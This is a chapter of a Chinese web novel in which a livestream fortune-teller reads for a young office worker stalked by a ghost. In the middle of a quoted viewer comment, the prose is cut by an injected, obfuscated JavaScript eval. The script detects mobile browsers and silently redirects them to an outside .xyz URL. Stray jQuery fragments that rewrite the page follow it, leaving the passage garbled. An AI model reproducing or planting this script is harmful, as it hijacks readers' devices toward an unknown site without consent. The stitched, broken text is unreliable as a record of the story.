第40章 抛到鳄鱼池里的鸡

作品:《穿成炮灰后,我靠直播算命赢麻了

    接引小鬼咽了下口水,来头这么大?该不会是哪个大佬下界历练期满,回归地府了吧!


    就在他俩不知所措的时候,见这边远远没有动静的牛头好奇地走了过来,隔着老远就嚷嚷着:


    “咋滴了咋滴了,我这还一半鬼没登记呢!”


    两鬼如同看到救星一样,巴拉巴拉把事儿给牛头说了一通。


    牛头:我就不该过来……


    不过被几双明晃晃的眼睛看着,他也不好转身走人,这样会显得他很没用,当即便提出给小玲安排一个单间,然后坐等四司安排就是了。


    两鬼才不管这流程对不对,哪天出了问题,也可以推到牛头身上,反正他俩也就是个看门的!


    立刻欢欢喜喜地把小玲请到一边坐着,还给了她一瓶娃嘻嘻酸奶,手忙脚乱地把牛头带来的鬼都给登记入册之后,亲自把人送到了宿舍楼。


    四司审判之后,认为小玲无功无过,就在地府待到鬼寿结束即可。


    又因为她手握彼岸花,没有哪个不长眼的鬼敢找她晦气,倒也相安无事。


    时间线回到直播间,崔篱挂掉连线后,看着时间还早,便重新抛了个福袋出去。


    跟第一次抢福袋的人寥寥无几不同,这一次丢出去的福袋犹如被抛到鳄鱼池里的鸡,连个水花都没冒,就被幸运儿叼走了!


    【啊!没抢到,我的福袋啊!】


    【是哪位兄台手速这么快,单身十几年第一次遇到对手了!】


    【人家就不能是网速比较快吗?建议下次换龙国联通试试?】


    【龙国联通给你多少钱?我龙国移动给你一倍!】


    崔篱没理会直播间的插科打诨,她向抢到福袋的‘葫芦妹’发起了视频邀请。


    视频过了一会才被接通,一个扎着高丸子头,穿着黑色衬衫裙的年轻女人出现在屏幕的右下角。


    “呼哧呼哧……”


    女人凌乱地喘着气,似乎是在爬楼梯,从背景可以看到紧急逃生通道那泛着绿光的指示牌。


    “大,大家好,呼呼——”


    女人似乎是不想动了,随意地往台阶上一坐,断断续续地打了个招呼。


    崔篱点了点头,示意她介绍一下自己。


    “我叫钟燕。”她努力平复呼吸,挤出一个生硬的笑容。


    又解释了一下自己爬楼梯的原因:


    “因为怕被同事听见,我特地出来楼梯间躲一躲。”


    女人的眼里激动的神色还未褪去,天知道她只是抢了一手,福袋居然就落入自己手中。


    然而她哪里知道,福袋并不是什么人都可以抢到的。


    根据吸引力法则,福袋会优先挑选那些身上有事儿的有缘人。


    不然一会来一个算考试成绩的,一会来一个算桃花的,把真正需要的人拒之门外,这就不符合崔篱的初衷了。


    崔篱打量她一眼,眉头皱了皱:


    “你还是坐电梯去顶楼吧,或者直接走出去找个有自然光的地方。”


    钟燕意外地看向崔篱,她突然察觉崔篱的眼神表面是看着自己,实际上却有意无意地落在她背后通道虚掩的铁门。


    这时刚好一阵风吹过来,实心的铁门发出一道让人牙酸的嘎啦声。


    就像有什么人躲在背后偷看她的时候,不小心弄出的动静。


    此时正逢早秋,临近正午的气温也有28℃,钟燕的后背却莫名涌起一股寒意。


    这种感觉,就像是用背抵着空调的冷气口吹。


    钟燕瑟缩了一下肩膀,不敢回头看向声源处。


    双手往台阶一撑,未等身形站稳,便弓着身子,三步并作两步地往下跑回三楼。


    直到她猛地推开三楼的安全门,大步踏入写字楼的工作区域,看到来来往往的人,钟燕心里的那股恐惧才被驱散。


    她重新看向屏幕,发出疑问:


    “大师,刚才那儿是有什么不妥吗?”


    直播间的众人也同样好奇,纷纷猜测是不是有什么看不见的阿飘。


    崔篱挑了挑眉,“可以啊,居然猜到了。”


    【哎呀,主要是主播你简直就是把‘有鬼’两个字写在脸上了嘛~】


    【还别说,刚才四楼那儿哪来的风?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14735037|157299||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    】


    【那种铁门很沉的,就算是大人也要用力才能推开,真有风也吹不动吧?】


    看着屏幕上跳动的评论,钟燕好不容易恢复正常的脸色,又开始一寸寸地发白。


    她下意识地握住脖子上挂着的玉佩,而这个简单的动作却牢牢地吸引住了崔篱的目光。


    “你这次摊上的事儿,不小啊!”崔篱没头没尾地说了一句。


    钟燕却听懂了崔篱的意思,而崔篱的话也证实了自己确实被鬼盯上了!


    她随便找了个角落蹲下,双手紧紧地握着手机,随着她的动作,再加上光线较好,眼尖的水友也发现了玉佩上的不妥。


    【这玉佩怎么跟我爷爷用的老式海碗似的,密密麻麻的纹路。】


    【裂成这样还戴,这是老公送的定情信物呀?】


    【你们就不好奇它是怎么做到裂而不碎的吗?】


    钟燕惨淡一笑,“因为它替我挡灾了。”


    崔


    篱并没有反驳,变相默认了钟燕的说辞。


    “说说吧,你这玉佩应该挡不了几次了。”崔篱看了眼时间,打算直接进入正题。


    钟燕低头看着地上的瓷砖,声音闷闷地把自己遇到的怪事说了一遍。


    就在这个月,她们项目部接到了一个大工程。作为项目部的头头,她偶尔会留下来加班到很晚。


    而十一点十四分,则恰好能赶上最后一班回家的地铁。


    那天,她忙得没注意时间,几乎是卡着地铁车厢关门的瞬间冲进来的。


    说来也怪,虽然这条线地处偏僻,平时人流量也少,但也不至于一个乘客都没有。


    她疑惑地坐下,发现车厢内部同样空旷,肉眼可及之处,竟然只有隔壁车厢的一个穿着宽大红色连衣裙的女孩子。


    女孩蓄着一头乌黑的长发,头靠在长椅末端的玻璃防护栏上,斜斜地背对着她,听到有人上车的动静也没回头。


    钟燕心里升起一股奇异的感觉,脑子里面有灵光闪过,但并没有抓住。


    “又是一个为了生活奔波的牛马。”钟燕在心里感叹了一句。